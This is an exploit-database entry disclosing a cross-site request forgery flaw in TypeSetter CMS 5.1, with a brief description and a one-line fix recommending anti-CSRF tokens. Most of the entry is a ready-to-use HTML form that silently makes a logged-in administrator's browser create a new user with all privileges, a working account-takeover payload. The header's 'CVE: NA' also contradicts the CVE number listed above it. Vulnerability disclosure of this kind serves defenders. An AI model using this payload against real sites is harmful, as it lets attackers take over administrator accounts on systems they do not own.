TypeSetter CMS 5.1 - Cross-Site Request Forgery



EKU-ID: 48013 CVE: CVE-2018-6888 OSVDB-ID:
Author: Navina Asrani Published: 2018-02-13 Verified: Not Verified
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# Exploit Title: TypeSetter CMS 5.1 Cross Site Request Forgery
# Date: 10-02-2018
# Exploit Author: Navina Asrani
# Contact: https://twitter.com/NavinaSanjay
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: https://www.typesettercms.com/
# Version: 5.1
# CVE : NA
# Category: Webapp CMS

1. Description

The application allows malcious HTTP requests to be directly executed without any hidden security token.This may lead to user account takeover or malious command execution

2. Proof of Concept

Exploit code:

<html>
  <body>
    <form action="http://localhost/cms/Admin/Users" method="POST">
      <input type="hidden" name="verified" value="475f10871b08f44c20dab5bc2cb55d17946e6c98fa8abf28c64a5a9dab0ee2e122fefcc29cae9cc2e48daf564bfe55665e26b2b2174dee14e83c5e6974cf3218" />
      <input type="hidden" name="username" value="samrat&#95;test" />
      <input type="hidden" name="password" value="sam9318" />
      <input type="hidden" name="password1" value="sam9318" />
      <input type="hidden" name="algo" value="password&#95;hash" />
      <input type="hidden" name="email" value="sam9318&#64;gmail&#46;com" />
      <input type="hidden" name="grant&#95;all" value="all" />
      <input type="hidden" name="cmd" value="newuser" />
      <input type="hidden" name="aaa" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



3. Solution:

To Mitigate CSRF vulnerability, it is recommeded to enforce security tokens such as anti csrf tokens